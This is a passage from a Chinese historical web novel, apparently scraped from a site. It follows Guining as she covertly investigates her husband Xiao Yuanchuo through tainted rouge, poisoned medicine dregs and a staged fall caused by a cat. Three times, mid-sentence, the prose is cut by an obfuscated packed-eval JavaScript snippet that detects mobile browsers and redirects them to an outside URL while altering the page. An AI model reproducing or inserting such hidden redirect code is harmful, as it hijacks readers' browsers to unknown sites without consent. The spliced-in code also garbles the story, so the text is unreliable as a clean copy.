这些事本该萧元绰自己去做，可他太忙，再者手上一时间也没有这么多银两，他在等应天的管事送银子来。 归宁此举无异于帮了他一个大忙，不至于让他在萧家耆老面前丢了颜面。 萧元绰感激地看向归宁，由衷道：“多谢你。” 归宁笑道，“回头我让人把东西送去你的书房？” 萧元绰轻轻抚平她额头上几根发丝，道：“不着急的，没有让你拿嫁妆贴补的理。等我筹足了银两补给你，再送去库房不迟，先放在这里吧。” 归宁点了点头，“依夫君安排。” 转身刚要往外走，被萧元绰一把从背后抱住，归宁呼吸一窒，脸上的笑容有些僵硬，“夫君，我不太舒服……” 萧元绰双手交叠在归宁小腹处，下巴抵住她的肩头，柔声低语，“阿宁，四年前咱俩的亲事办得匆忙，合卺酒都没顾上喝，委屈你了。不如等元宵节，趁着我休沐在家，把该补的礼仪补全了。” “洞房也让他们按照咱们成亲时的样子，重新布置一下，好不好？” “都说‘十五的月亮十六圆’咱们把圆房的日子定在十六，十五我陪你上街去看花灯，再去河边放灯许愿。不过姑母可能赶不及回来，回门就等姑母回京后再补上。” 这些年确实是他冷落了她，以一种隆重的方式作为补偿，重启二人之后夫唱妇随的生活，以彰显他对她的尊敬和重视。 “姑母”这个称呼萧元绰喊习惯了，他自己也觉得“岳母”不如“姑母”亲近，所以一直不曾改，也没有人特意纠正。 归宁低眉应了一声，原来这就是周嬷嬷所说的拖延之计，她只有半个月的时间再另想办法。 见归宁应允，萧元绰正想低头亲她，外间突然传来南烟的呼唤，“夫人，夫人你在哪儿呢？有个好消息……” 归宁赶紧推开他，先一步出了屋子，红着脸训斥南烟道：“大过节的，怎么冒冒失失的。” 萧元绰紧跟归宁身后出来，撇头见归宁耳根泛红，不由得唇边挂起一抹淡笑，二人复又回到正屋暖炕上坐着。归宁这才道：“说吧，什么事儿？” 南烟也没有卖关子，直言道：“刚刚赵府遣人送来信儿，说乐巧姑娘回赵府了。” 归宁闻言看向萧元绰，笑道：“夫君，这真是个好消息。乐巧姑娘平安归来，说不定她知道更多有关那群歹人的底细，这下抓人可方便了。大姐姐也不用白白遭这么大的罪。” 萧元绰的脸上有片刻的惊愕，很快被含笑的眸光掩盖，语气平平，无波无澜，“是个好消息。” 转而问向南烟，“母亲那边知道了吗？” 南烟笑道：“还没来得及去呢。” 归宁笑着把人往外赶：“还不赶快去，也让母亲宽宽心。” 萧元绰缓缓起身道：“还是我去吧。” 归宁也跟着往外走，“我陪夫君一起去吧。今夜本该我们陪母亲守岁的，我一个人留在这里不太成规矩。” 这不算什么大事，一个小丫头去通报一声足矣。再者，大年三十，丈夫把妻子一个人丢在院中，算怎么回事儿？只此两点，萧元绰对于乐巧之事的反应就不同寻常。 如此，也正好印证了归宁之前的猜测，乐巧的事，不仅仅是赵家和邓家的事，更关乎萧家。他在外边四年，他身边的人，都是他的心腹，归宁水泼不入针插不进，只能从他的细微反应中，窥探蛛丝马迹。 萧元绰见归宁要起身，忙将她按在炕边坐下，在她耳边道：“大冷天的，你身子不适，就别去吹冷风了。我去去就来，今晚我一定陪你把岁守完。” 这厢萧元绰刚出孤芳苑，南烟就忍不住在背后啐了一声，“看大爷那着急模样，没鬼才怪。” 归宁嘴上训斥了两句无礼，眸中的笑意却一丝丝蔓延开来，“说明咱们的方向没错。” 南烟不服气道：“都怪我们是女子，即使知道有猫腻，也只能偷偷的查，比不得大爷，轻飘飘一句话，就能让夫人寸步难行。” “夫人明知大爷心里满是算计，还得又出力又出钱把邓家偷出去的东西赎回来，就是为了换一次能在大爷跟前讨价还价的机会，真难啊！” 经历了前世惨死的归宁，心里早就不报任何奢望，随手拿起一盒萧元绰送的胭脂，放在鼻端闻了闻，道：“快把初一抱来，瞧瞧他送我的这些东西，是否别有用心。” 归宁将胭脂盒里的东西都取出来少许， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616740|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涂抹在盒外，又将这些东西散放在炕上，让初一去闻。不出归宁所料，每闻一盒，它都会用爪子巴拉巴拉，叫唤两声，说明是有问题。 归宁拿出小肉干喂给初一，摸着它毛茸茸的头道：“多谢你呀。你虽然不会说话，可总比那些鬼话连篇的人好太多。” 夫人帮他圆了面子，可他转头还是要暗算夫人，更让南烟气得浑身发抖，恨不得立刻将这些东西拿出去，摔在大爷脸上，指着他的鼻子骂一通，以解心中愤恨。 归宁拍了拍她僵挺的后背，轻言细语道：“我知道你替我不值？我何尝不难过？谁让我们是弱者？强者可以随时随地出手解决自己的对手，不用等时机，只需看自己心情。” “弱者只能小心翼翼，步步为营，寻找一个一击必中一举成功的机会。强者可以失手无数次，以后去慢慢弥补；弱者只要失手一次，就是万丈深渊。” “所以我必须要忍，让他们露出更多的破绽。眼下的发现还远远不够。”而这份隐忍，是归宁用了一辈子，得来的教训。 说完那些冠冕堂皇的大道理，心中酸涩难解的归宁又忍不住自嘲起来：“他在算计我，我也在算计他，还都要装成夫妻情深的模样，我很累，不知道他累不累！” 南烟压着怒气将东西收起来，一张脸沉得吓人，“夫人，大爷累不累奴婢不知道，奴婢现在想知道：这些东西怎么处置？夫人真要将计就计用了？”话语间多少有些置气。 相比前世的伤，今世已经幸运太多，故归宁依旧能稳住心态，淡声道：“胭脂和口脂先都收好，看看都是哪家的，赶快去买几盒一模一样的顶上，我这几日就要用。”今世玉容坊还没开张，替换胭脂不是难事。 交代完，归宁静静地坐在暖炕伤发呆。 如此阖家团圆的好日子，归宁望着空荡荡的四周，突然怀念儿时同父亲和祖父守岁的日子，他们见多识广，能说出很多有意思的故事哄她。她听得津津有味，就是强打着瞌睡，也不舍得合眼。 祖父和父亲若在，她何至于吃如今这份苦头。 正值伤感之际，萧元绰去了又来，进屋见她眼圈有些发红，忙小心哄道：“怎么了？是不是怪我了？” 归宁面露一丝苦笑，“我想外祖母了，也想舅舅。”在她和母亲面临绝境险些被族人吃了绝户时，是舅舅带人前来，气势威严地挡在她们面前，给了她们无尽的安全和勇气。 这是弘文伯府给她们母女二人的支撑，归宁永生难忘。可就是攀附在这颗大树上成长太久了，也禁锢了归宁的脚步与余生。 萧元绰拉起归宁的手，郑重道：“你以后有我。” 归宁抬眼，望进他那深如幽潭的黑眸，眸光镇定似水，却让她感觉到无尽的冰寒，千言万语只化为一句简单的回应，“知道了，夫君。” 接下来的时光，归宁随手拿起绣到一半的香囊打发困意，萧元绰则歪在一旁，很有闲情雅致地看书。 过了三更天，归宁愈发地有些熬不住，萧元绰放下书卷，将人拉至床榻前，“睡会儿吧。一大早京官还要去宫中给皇上拜年，我也睡会儿。” 39. 药渣 本朝初一的拜年隆重程度堪比大朝会，卯时正式开始，官员们寅时就要起床沐浴更衣。 当日一早，百官列阵等待，期间还有专门纠察礼仪和言辞的御史，若是仪态不整，轻则叱责，重则极有可能丢官罢职。 如此重要场合，哪怕身居高位的阁老重臣都要拿出十二分的精神来。是以，除夕这晚萧元绰不敢熬夜，不到三更天就睡下了。 至于次日一早萧元绰何时出的门，归宁浑然不觉。直到卯时二刻，被周嬷嬷唤醒，她才不疾不徐地更衣熟悉。 辰时，阖府上下的丫头婆子整整齐齐站在院子里给她这个管家人拜年。归宁一身喜庆，容颜瑰丽，似极九天仙女下凡尘，笑着让南烟发压岁钱。 和众位婆子打趣了几句，匆匆去往邓氏的福寿堂拜年，并陪邓氏一起用了早饭。 邓氏知道有几日萧元绰宿在孤芳苑，叮嘱她一定要服侍好自己的男人，还拉着她的手，念叨着早日给萧家生个嫡子，还说自己已经在佛祖面前许了愿，今年定能实现等云云。 归宁但笑不语。 ** 正月初一，三拜九叩的折腾了一早上，萧元绰回来已很是疲乏。 不过还是坚持着陪母亲和归宁用了午饭，归宁趁机问道：“乐巧姑娘回府，我们也该送些东西过去庆贺庆贺，不如我下午去一趟，顺便看看大姐姐，也和赵太太说一声，就说母亲想念大姐姐，想让大姐姐过年在府中多住些时日，可好？” 邓氏笑道：“这样也好，不过下午有几家娘子过来和我打牌，你也早点儿回来，陪我们乐呵乐呵。” 萧元绰昨日歇得晚，今日起得早，默认了归宁的安排。 归宁用过午饭，也没顾上歇中觉，就让前院的秦三套车，由南烟陪同，去了赵家。选了几匹上好的料子带过去，给赵家的女眷做衣服。 她这次来，是有其他缘故的。 年三十乐巧回赵府前，突然想起一紧要的事，让柳妈妈转告归宁：说她在赵家有样非常重要的东西，可能事关她的身世，想请归宁代为保管。 这段时间，乐巧一直过得浑浑噩噩，直到下定决心要回去复仇之际，才想起此事来。 今日归宁带南烟前来，看望萧元荷是其一，更重要的是找个机会让南烟去见乐巧。 ** 修养了十多日的萧元荷已经能下床了，正在陪赵太太打叶子牌，见归宁来，硬是拉着她玩儿了两局。归宁手气差，一输到底。 归宁环顾四周，没有见到乐巧，随口问了赵太太一句。 赵太太有些担忧道：“咳得厉害，也不知道她这些天是怎么熬过来的，刚请了大夫开了药，这会子还在屋里歇着呢。” 归宁想要去看一眼，萧元荷拉住她道：“大过年的，别过了病气，等她好一些再看也不迟。” 归宁也没坚持，顺着萧元荷的拉扯，又坐了下来，转向南烟笑道：“你代我去看一眼吧，替我问个好。” 见南烟离开，归宁笑道：“我今天不把大姐姐赢我的钱赢回来，就不走了。” 归宁向来是个散财的人，不管是邓氏，还是今日的赵太太都乐意和她打牌。赵太太和萧元荷婆媳两人今日在算计归宁这事儿上，配合相当默契。 丫头婆子们也挤在一旁凑热闹，主子赢了钱，她们也能跟着沾沾光。归宁无论是在萧府还是在外面都混得开，真真得益于有个会赚钱的母亲。 本朝官员俸禄微薄，若是家底差些的，这日子很是不好过。赵家比不得那些勋贵，自是没有萧家阔绰。 归宁下注大，牌运却奇差无比。让赵太太赢得合不拢嘴，当然不愿意放她走。内院主仆都围在赵太太屋里看主子们打牌，更是无人去关心破衣烂衫回来的乐巧了。 比起在倚梅园的好吃好喝，乐巧现下的状况可谓糟糕至极。冬日的西厢房阴暗潮湿，屋内炭火冷清，乐巧整个人缩在被子里，还在瑟瑟发抖。 之前伺候她的小丫头无故溺死，她又一身狼狈的回来，内院婆子丫头都在背后议论纷纷，没人愿意来她跟前伺候。赵太太虽会吩咐婆子给她送去炭火饮食，可这些人惯会拜高踩低，明里一套背后一套。 大过年的，赵太太也不能处处周到。 南烟甫一进屋，就感觉如迈入冰窟一般。火盆里的炭早已燃尽，想倒一杯热水，提起桌上的铜壶竟是空空如也。再一瞧，乐巧缩在被子里，咳得撕心裂肺。 南烟气不打一处来，“我去找婆子们要热水和炭火来。” 乐巧听到动静，勉强撑起身子，哑声道：“别……别添麻烦了……要是让旁人知道咱们的关系……不好……” 南烟来到床边，按着她躺好，“你这样迟早被他们折腾死。” 乐巧大咳了几声，缓了口气才道：“慢慢熬吧，只要熬不死我，日后就别怪我心狠。” 南烟忍不住红了眼眶，声音哽咽起来，“何苦来这么折腾自己。” 乐巧心中泛苦，却也无从诉，“失了贞洁的女子，本就该一条绳子吊死。我舔着脸回来，受这点儿苦算什么？以后有的是人指着我的脊梁骨说风凉话。” 南烟安慰道：“听那些人胡沁！听我家太太说，那秦淮河边的女子都能从良，扬州瘦马亦可被抬为平妻，这世道虽处处为难女子，可也不只是死路一条。” 南烟口中的“我家太太”正是归宁的母亲。 几滴浊泪从眼角低落，乐巧长叹一声，“放心吧，回来之前柳妈妈给了我一些药丸，我吃着还行，比大夫开的药好。” 乐巧担心时间久了，有人会注意到南烟，抓紧时间道：“我让你来有两件事，一是大夫给我开的药的药渣我藏起来了，药方我也有；再有就是我有些东西，请宋姐姐替我保管。” 药渣就藏在床底下，药方在枕头底下，东西藏在屋子的一块地砖下，南烟废了好大劲儿才取出来，拍了拍身上的土道：“你怎么藏这儿了？” 乐巧无奈的解释道：“但凡有点儿好的东西，我屋里都藏不住，没办法。” 南烟替她有些不值，“照顾你的丫头对你也不尽心，你心疼她，她生前未必心疼过你。” 这话也不算假，她有不是府里的正经主子，也就是靠着赵太太的垂怜，体面的混口饭吃，不过到底是一条命，乐巧心里还是难过，“唉，提这些做什么！” 南烟将药渣打开看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629958|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼，“你这怎么拿到的？” 乐巧又咳了一阵，才开口道：“大过年的，婆子们哪里愿意为我点灯熬油的煎药，煎到一半就没了影，只得我自己守在炉子旁。” “不过她们虽不认真熬药，倒药渣却很积极，每一副药的药渣，他们都有专人收走。我也是因为这个起了疑心，所以每次熬药剩下的药渣，我都悄悄拿走一些，剩下一些，这几日就凑了这些。” 南烟叹道：“你是故意的吧？故意拖着病体回来，看看大姑奶奶会不会按照那老和尚的办法加药进去？” 风寒乃常见病症，即便那老和尚已死，可说不定之前就有人用过，乐巧不愿意放弃这个可能拿到线索的机会。她闭目不言，显然是默认了。 南烟来时给乐巧带了些府里的果子和点心，将这些东西拿出来，将药渣放进食盒。 至于另一样东西，是半块鸳鸯戏荷的帕子包裹着半块玉佩，似极男女之间定情的信物。 乐巧低低道：“我母亲就是京郊附近一家桑农的女儿，未婚先孕有了我，差点儿被我外祖父打死。后来实在是在村里待不下去了，才投奔了赵太太的娘家郑家。” “我已逝的外祖母与赵太太的母亲有些渊源，老太太见我母亲可怜，就收留了我们母子。母亲手巧能干，刺绣裁衣手艺一绝。三年半以前，母亲病死，赵太太见我乖巧懂事，就将我接来赵府。” “至于我父亲是谁，母亲至死都没提过半个字，只留给了这些信物给我。” 南烟又拿着帕子和玉佩翻来覆去看了一眼，只觉十分精巧。饶是她自幼在归宁身边服侍，见过不少好东西，这玉佩雕工之精致，玉质之上乘，也是让她颇觉不同一般，非普通人可享之物。 乐巧继续道：“帕子是母亲绣的，玉佩是父亲的贴身之物，二人各留了一半。” 帕子的绣工也极其精美，南烟觉得夫人的女红已经是出类拔萃，可于这张小小的帕子比，还要逊色一筹。 只拿这帕子中的荷花来说，不同的角度看过去颜色就有些微的变化，左看是含苞待放，右看就是层层绽放，这等绣艺，堪称人间绝品。不由问道：“你母亲可还有其他东西留下？” 乐巧遗憾而又难过地摇了摇头，“母亲虽绣艺超绝，后来也懂得了藏拙。之前就是因为太过出风头，差点儿被人毁了双手，毕生绝活也只教了我一星半点。” 南烟宽慰道：“你母亲在天有灵，也希望你好好活着的。你被绑架一事，赵家并未报官，赵太太也不是那等刻薄之人，估计是大姑奶奶有意让底下的人编排你，你万不可想不开呀。” 乐巧抽泣一声，“我晓得。” 南烟将点心端至她床前，“你吃两口，我去给你弄壶热水。夫人正和太太、奶奶们打牌，一时半刻没人注意到我们。” 说罢，南烟去了赵家的厨房，掏出一小块碎银子，让小丫头弄了一壶热水，半壶水给乐巧灌了汤婆子，剩下半壶水沏了茶，二人各捧着一杯暖着手，又说了些宽慰的话。南烟见时辰差不多了，起身道：“我得走了。” 临去前，将身上的荷包解下来，塞到乐巧枕头底下道：“一点儿碎银子，你留着打赏下人。” 40. 打架 归宁被赵太太等人缠着，直到输光了身上的银两，才得以起身告辞。 赵太太看着不费吹灰之力就赢来的白花花的银子，笑得合不拢嘴，一直说着要留她吃晚饭。 都说宋家祖上出身商贾，宋娘子又极会经营，家财颇丰。她以前只当听听，觉得有几个臭钱也是下等人。如今见归宁一局输个几十两银子眼都不眨，还能云淡风轻地陪她们说笑，心里多少有些艳羡。 要知道自家儿子半年的俸禄都没有自己小半日赢得多，这让赵太太怎舍得放归宁离开，恨不得晚上点灯熬油地再来上几局。 见赵太太留客，萧元荷打圆场道：“母亲，今日大年初一，还是快些放阿宁回家团圆吧，要不我那弟弟可要急着过来要人了。” 如此众人才笑着送归宁上车。 马车启动，慢慢驶离众人视线，归宁才卸下心中重担，长舒一口气，问南烟探听到的情况。 南烟将乐巧的境况一五一十地说了，忍不住惋惜地落了几滴泪。归宁心中五味杂陈，靠在马车壁上，长长一叹，乐巧今日之绝境似极了前世的她。 可她前世再凄惨，临终前的体面还是有的。这都归功于她有一个眼光长远的母亲，母亲在临去前，为她做了所能做的一切，使得归宁即便被困在内宅，也能牢牢掌控关于宋家的一切。 只要她一日膝下无子，宋家老宅的秘密就不能公开。宋家的产业，若想动一分一毫，也必须有她的印信和亲笔书信才可。 母亲曾苦口婆心道：“女子在婆家的底气向来源于娘家的势力，可惜宋家势单力薄，帮不上你。我只能多给你留些钱财，无论何时，你都要留好傍身钱。” “世人都说‘易求无价宝，难得有情郎’，可人心难测，一招反目，会将你推入无边地狱。而无价之宝虽是死物，却能让你一生衣食无忧，无论你是否年老色驰，是否贤良淑德，都不会弃你……” 当时归宁根本没把这番话放在心头，直到十多年的夫妻情深彻彻底底成为一场骗局，才让她幡然醒悟，母亲当年的安排当真是睿智至极。 母亲若不死，谁敢鲸吞宋家之财。也难怪他们会将魔爪伸向母亲。 胡思乱想间，马车已经到了倚梅园，南烟将食盒里的东西交给柳妈妈，让她寻个郎中仔细辨认，这才上车随归宁回去。 ** 萧府内，邓氏已经和几位官家太太们玩了几局，各有输赢，见归宁回来，忙招呼她过来小坐。 几位太太中就有五城兵马司指挥使的母亲余家太太，她家儿媳正是萧家旁支的姑娘，是弘文伯府的远房亲戚。 余太太生性泼辣，说话也没个分寸，见归宁进来，就啧啧两声，称赞道：“果真是老太太身边养大的姑娘，瞧瞧这通身的气派，这模样身段，真真是万里挑一，老姐姐当真是有福气。” 归宁福身见礼谦逊道：“是老太太、太太们抬举我。” 归宁身着雨过天青色袄衫和黛紫色流云纹马面裙，料子为名贵的宋锦，可转眼看邓氏身着更为名贵的胭脂红色缂丝衣衫，又道：“真是个孝顺孩子。” 言罢，眼角的余光瞥向怯懦的儿媳，哼了一声，“还不来见过你嫂嫂。”余太太心里很是不服气，这么好的儿媳，怎么就落不到他们余家？ 萧家姑娘在说一不二的婆婆面前不敢说半个不字，老老实实过来见了礼。 几家太太、奶奶们寒暄了几句，又玩了几局，归宁处处让着邓氏，自己又输了个精光。 邓氏不由笑道：“下一局你可别再让着我了。” 归宁则笑道：“是母亲牌好，儿媳手气太差，留不住财运。” 有这么贴心知进退的儿媳，邓氏脸上有光，整个人愈发神精气爽，在外人跟前笑得合不拢嘴。 欢欢闹闹，很快到了傍晚，众人请辞，归宁和萧元绰留在邓氏身边用了晚饭，归宁说了几句明日萧元荷回府的事，命人将她出嫁前住过的院子收拾出来。 当晚萧元绰还是宿在了孤芳苑，夫妻二人说了几句闲话。睡前，萧元绰还连人带被将归宁拥在自己怀里，等醒来时，就见人裹着被子缩进了床最里侧，离着他八丈远，幽幽地叹了口气。 听到他起身的动静，归宁也睁开朦胧的睡眼，本能地唤了一句，“夫君早！” 萧元绰心中的郁结被这一声绵软如娇啼的声音打开，笑笑道：“我先去院中打拳，你再睡会儿。” 归宁起身帮他穿衣，“不了，一会儿大姐姐就到了。” 大年初二，赵明敬带着萧元荷和简哥儿到萧家拜年，住了两日，至大年初三下午，赵明敬才独自回赵家。按本朝规定，初四衙门就要办公了，赵明敬不得不回。 ** 至初六这一日，姚家的卢夫人带着三个女儿也来萧家拜年。自老太太过世后，她还是第一次带着三个女儿过来小住。两个儿媳现在也都在娘家，她娘家远，索性带着孩子们过来热闹热闹。 加上萧元荷、邓雪柔还有二姑娘元昕，凑了一屋子的人。不过里面都是未出阁的姑娘家，唯有简哥儿一个孩子，都哄着他。 可姚家二姑娘心智不全，众人都在屋里说笑，唯独她和简哥儿一个孩子怄气，为着木质小马车险些大打出手，惹得众人来劝。那马车做工精美，上了发条后，还能哒哒地跑两步，是姚二姑娘的爱物。 若是平时众人都会向着姚二姑娘，可简哥儿才四岁半，姚二姑娘还长一辈，卢夫人只能哄着女儿道：“让给简哥儿吧，回去再让你三哥做个更好的。” 好哄歹哄，姚二姑娘才红着眼睛松了手。姚二姑娘的痴病向来是卢夫人的心头痛，劝和之后，众人也不再过多计较。 到了晚间，萧元荷看着简哥儿脖子上的抓痕，一边上药一边恨道：“一个傻子还当宝贝似的养着，在自家府里也罢了，还带出来丢人现眼，真是让人没眼看。若是让外人知道咱家有这样的亲戚，指不定怎么笑话萧家呢。” “老太太也是，非要把二姑娘嫁给这种人家，说什么亲上加亲，就是上不了台面。给弟弟娶个没门第的商贾之女做嫡妻，还把妹妹嫁给一个无官无职的白衣，分明是把萧家往死里作践，天下哪里有这么当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642220|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祖母的？” 萧元荷越说越气，也不知道怎么了，平白无故的将火气全往已经故去的老太太身上撒。 萧元荷仗着是在娘家，口无遮拦地骂至口干舌燥才住嘴。在赵家压抑久了，到了娘家难免忘形了些。 浑然不知，寂静的黑夜里，有人来了又回，悄悄地将她的话听去了大半。 这人不是别个，正是卢夫人。她心里正为白日的事懊恼，想着晚间去和萧元荷道个歉，毕竟是自己女儿不懂事，将简哥儿摁在地上打。 到门口竟听到这些话，心里堵得难受，招呼都没打，就回到了自己院子。 邓氏居住的福寿堂是当年老太太的院子，不仅大，且屋子多，卢夫人等都被安置在了东厢房。萧元荷的院子就在福寿堂的旁边，走几步路就到了。 姚大姑娘见卢夫人回来就止不住的唉声叹气，便问道：“母亲怎么了？” 卢夫人道：“你三哥这个不上进的样子，萧二姑娘嫁给他会不会委屈呀？” 子女多有子女多的烦恼，个个都不让卢夫人省心。 姚大姑娘道：“我见大表嫂还是很看重这门亲事的。” 卢夫人拍了拍大腿，有些后悔道：“早知如此，就不带你二妹妹出门了，平白惹这么多闲话。” 姚三姑娘走过来道：“母亲，我明明见是简哥儿要抢二姐姐的东西，二姐姐不给，他就想让狸奴抓二姐姐，我把狸奴引开了，二姐姐才摁着他打的。” 卢夫人皱眉，狸奴就是萧元荷养得那只橘猫。姚三姑娘说完，还将手上的抓痕亮出来给卢夫人看。 两条尚未结痂的抓痕赫然入目，卢夫人抓着小姑娘的小手，心疼道：“你这孩子，怎么不早说呢？” 姚三姑娘乃庶出，在府中，大姐姐最得母亲欣赏，二姐姐全家都要哄着，唯独她，自小就学会了懂事，不给旁人添麻烦。 卢夫人也是被萧元荷的那番话气到了，也顾不上维护亲戚家的颜面，拉着三丫头的手，也不找邓氏，直接去了孤芳苑，寻管家人归宁讨个说法。 归宁看着那道触目惊心的伤口也是倒吸一口凉气，拉着姚三姑娘安抚道：“诶呦，疼不疼，且忍一忍。” 被猫抓了要尽快上药，以防感染。归宁让周嬷嬷寻了药过来给姚三姑娘涂上，卢夫人也不说萧元荷的不是，而是指桑骂槐地骂了那猫几句：“畜生就是畜生，养野了什么人都敢挠。咱们这些知道的明白是这畜生不识好歹，不知道的还以为是主子授意呢。” 说者有意，听者更有心，正愁不知如何摆脱萧元绰的归宁暗暗有了主意，宽慰了卢夫人几句，还替萧元荷说了几句好话，又哄着将人送走。 萧元绰今日正好在屋内翻书，因着是刚沐浴完，不方便出来见客，见卢夫人已走，听归宁将事情大概说了。他逗着一旁的初一笑道：“还是咱们初一乖。” 听到他的夸赞，初一发出哼哼的愉悦声。 卢夫人没有继续追究，萧元绰以为这事儿就这样过去了，直到两日后，这只猫惹出了更大的祸事，打破了他的精心安排…… 41. 摔伤 萧元绰无论如何也想不到，两日前纵容的结果是：归宁会因为一个畜生摔断腿。 事情是这样的，卢夫人住了几日就想着要回去，归宁见院中的梅花开的正好，打算在卢夫人临走前，带着众姐妹们做些梅花糕，酿一些梅花酒。 几位姑娘都很喜欢，齐刷刷地一起帮忙摘梅花，太夫人和卢夫人二人也颇有兴致的在亭子里煮茶喝。 也不知怎么了，在归宁踩着兀凳摘花时，陪简哥儿玩耍的那只橘猫突然跳上树，朝着归宁伸出猫爪，归宁一时重心不稳，从兀凳上跌落下来，小腿正好撞上树下的石块。 萧元绰赶回府时，太医院的医女刚为归宁包扎完毕，对萧元绰道：“三个月内不可随意下床走动，半年内方能恢复如初。” 萧元绰惊呼：“半年？” 再想起两日前的事，他气不打一处来，不听任何人解释，腥红着眼对身旁的小厮道：“你去，把那只猫给我乱棍打死扔出去。” 见小厮去捉那只橘猫，简哥儿哇哇大哭，抱着萧元绰的大腿，“舅舅，别杀它……” 看萧元绰不为所动，简哥儿又去求萧元荷和太夫人，萧元荷怎受得了儿子如此苦求，一想到简哥儿是她余生唯一的指望，心里愈发偏袒他，“青然，团子是我从小养到大的，简哥儿两岁时被老鼠吓破了胆，到现在见到了都害怕，就别和个畜生计较了，它知道个什么！” 邓氏见女儿和外孙泪汪汪地看着自己，清咳了一声道：“让元荷带回赵家吧，以后永远不许再带回来。” 卢夫人不是个多事的人，看到这个场景，心里只是泛起一丝冷笑，半句话不愿多说。都说邓氏待儿媳如亲生，如今看来还比不过女儿养的一只猫。 萧元绰执意要摔死，简哥儿一直哭闹，萧元荷和邓氏忙着说好话，闹了好一通。 最后是南烟红着眼出来，对着萧元绰福了福身子道：“大爷，夫人说是她自己没站稳，跌下来的，不关狸奴的事。” 见归宁这边松了口，简哥儿更加有了底气，拽着萧元绰的曳撒下摆，撒娇道：“舅舅，舅妈说不关狸奴的事，把它放了吧。” 有了台阶下，萧元绰也不想再和一堆女眷打擂台，轻叹一声道：“把那畜生关起来。” 简哥儿见有人把笼子提过来，还要闹，被萧元绰的一个冷眼给瞪了回去，对萧元荷道：“大姐姐，简哥儿不小了，该请个先生好好管教管教了。” 邓氏忙圆场道：“你有没有认识合适的人，给举荐一个。” 萧元绰道：“还是问问姐夫的意思吧。”毕竟是赵家事，他不便插手。 一府主母受伤，卢夫人自是不好意思再住下去，当日下午就向邓氏和归宁请了辞。 萧元荷因有其他缘故，继续带着简哥儿在府里住着。 好端端的弄成这个样子，萧元绰叹声连连，轻轻抚上归宁受伤的腿，问道：“疼不疼？” 归宁低眉不语，疼自然是疼的，不过是她心甘情愿受此罪。 萧元绰自顾自言，“还想着十五带你去看灯，看来只能改年了。” 归宁这个样子，自是不能圆房，还要等三五个月，萧元绰想想就心烦意乱。 他能感觉到归宁对他的躲闪，他想尽快和她亲近，成为真正的夫妻，而不是这种患得患失。 坐在床头，将人拥在怀里，轻轻吻过她的腮边，在耳边轻语：“阿宁，我知道你是不想让我为难才让南烟那么说，我……” “大姐姐刚没了孩子，简哥儿身子又弱，我实在不忍心。” 以萧元绰的手段，要想处置一只猫，不需要在她的院子里大吵大闹争执不下。动静闹得这么大，是给她这个当家主母看的。 归宁的妥协，正中萧元绰下怀。可他太贪心，既想不伤大姐姐的心，还想要归宁的真心真意！ 世间哪有那么好的事？ 归宁内心泛起一丝冷笑，执拗的将脸撇过去，不想面对他。在他心里，她永远是个外人，萧元荷、太夫人才是他的亲人。 萧元绰伸出手，强硬地将归宁的脸扳过来，面向自己：“你要是真生气，我这就派人将那只猫悄悄处理了，行不行？”他确实需要归宁的退步，可为了一只猫让彼此之间离心，萧元绰觉得不值。 既然是计，归宁也没有那般计较，索性好人做到底，大度摇头道：“不用了，出尔反尔非君子所为。只不过我这几个月都要养伤，不能服侍夫君，辛苦夫君去前院歇息吧。” 萧元绰俯首，轻轻吻上她的唇，见她左支右绌，蜻蜓点水般碰了碰就挪开了。 他还想陪归宁多说几句话，可归宁不想再应付他，闭上眼道：“我想歇一歇。” 归宁需要养伤，萧元绰每日又要早起上朝或去衙门上值。年前工部说黄河河堤需要修缮，兵部又说海寇频频袭扰，需要营造战船若干等。 开海之后，民间贸易虽然昌盛，但国库消耗依旧巨大，户部的差不好当。萧元绰事忙，坚持了几日之后，终于还是搬回了前院书房。 他刚把一些书搬来孤芳苑，想着晚间能多陪陪归宁，现在还要原方不动的搬回去，心里多少有些懊恼。 当夜，送走大爷，南烟见归宁得了清净，凑到她耳边道：“夫人，好消息。” 归宁掀了掀眼皮，“莫不是发现药渣的问题了吧？” 南烟郑重道：“还是夫人聪慧。柳妈妈一连问了好几个郎中，都说药里加了不该有的东西，而且量不小，不仅对治疗风寒无效，还会适得其反。身子差些的，恐怕就熬不过去了。” 归宁心思微沉，“原以为是个离自己很远的故事，不成想就发生在自己身边，听说那老和尚已经摔死了，也不知道大姐姐的这方子从哪里来。” 难道不是第一次用？那第一次是用在了谁身上？ 正当疑惑之际，南烟开口愤愤道：“怪不得大姑奶奶要在娘家长住，敢情乐巧要是吃药吃死了，可不关她的事。这么阴毒的人，怪不得老天罚她。” 这几日，经常有陌生的郎中背着药箱出入太夫人的院子， 